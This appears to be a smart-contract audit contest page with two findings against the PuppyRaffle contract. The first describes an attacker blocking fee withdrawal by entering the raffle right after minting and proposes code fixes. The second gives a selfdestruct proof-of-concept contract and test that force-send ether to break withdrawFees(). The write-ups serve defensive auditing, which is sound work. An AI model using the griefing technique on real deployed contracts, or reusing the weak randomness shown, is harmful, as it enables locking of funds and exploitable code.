Fees could be blocked for `feeAddress`
Vulnerability Details
By the way it is programmed the withdrawFees() function it could be possible for an bad actor to block the access to the fees for the feeAddress.
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
This is the first line of withdrawFees(), if there are no players in the raffle, this line passes, but if there are any ongoing players in the raffle, the execution of the function is blocked, a bad actor could listen to the event Transfer() which is emited after calling the _safeMint() at the end of selectWinner(), and enter the raffle just after this event with enterRaffle().
Resulting in the impossibility of withdrawing funds for the feeAddress.
Impact
High - Medium: Fund for the feeAddress could be blocked indefinitely
Recommendations
There are two things we can do to improve the code:
Calculate the fees and totalAmountCollected each time a player enters or exists the raffle.
Send the fees at the same time as the prizePool. (And eliminate the withdrawFees() function)
I'll explain the process of applying both solutions down below:
Solution
This solution requires to change the way some variables are computed, and it let's us at the same time to eliminate one vulnerability of the program.
We will need to change totalAmountCollected variable every time a player enters and exists the raffle in the functions enterRaflle() and refund().
We will need to eliminate this line from selectWinner():
uint256 totalAmountCollected = players.length * entranceFee;
There are two reasons we do this, the first is that is wrongly calculated, in the function refund() we are not changing the length of the players array, we are just resetting the value of where the player should be to address(0). If we leave it unchanged, if one person gets refunded the raffle will be impossible to win, as it is stated in another finding.
The following lines will need to be added to eliminate the issue:
In global scope of the contract:
uint256 totalAmountCollected;
In selectWinner():
// this line will need to be eliminated
// uint256 totalAmountCollected = players.length * entranceFee;
In enterRaffle():
// after checking for duplicates
totalAmountCollected += entranceFee * newPlayers.length;
In refund()
// after the require statements
totalAmountCollected -= entranceFee;
Add a line of code to select winner that would send the fees to feeAddress instead of having withdrawFees() function. It would eliminate the problem of being unable to a bad actor to purposely block the feeAddress to withdraw funds. This is the line of code in question:
(bool success,) = feeAddress.call{value: fees}("");
with this approach we can even eliminate the variable totalFees completely from the global scope and reduce the cost of deployment and execution, the final code for selectWinner() in this case would be:
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
uint256 tokenId = totalSupply();
// We use a different RNG calculate from the winnerIndex to determine rarity
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool successWinner,) = winner.call{value: prizePool}("");
require(successWinner, "PuppyRaffle: Failed to send prize pool to winner");
// we add this line to send the fees, and we ensure that the transfer was succesful
// in this case we assume that the feeAddress is an EOA or a Smart Contract able to receive ether
(bool successFees,) = feeAddress.call{value: fees}("");
require(successFees, "PuppyRaffle: Failed to send fees to feeAddress");
_safeMint(winner, tokenId);
}
Lead Judging Commences
[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless
## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```
Rewards breakdown
Live
The contest is live. Earn rewards by submitting a finding.
Judging
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsRewards Distribution
The contest is complete and the rewards are being distributed.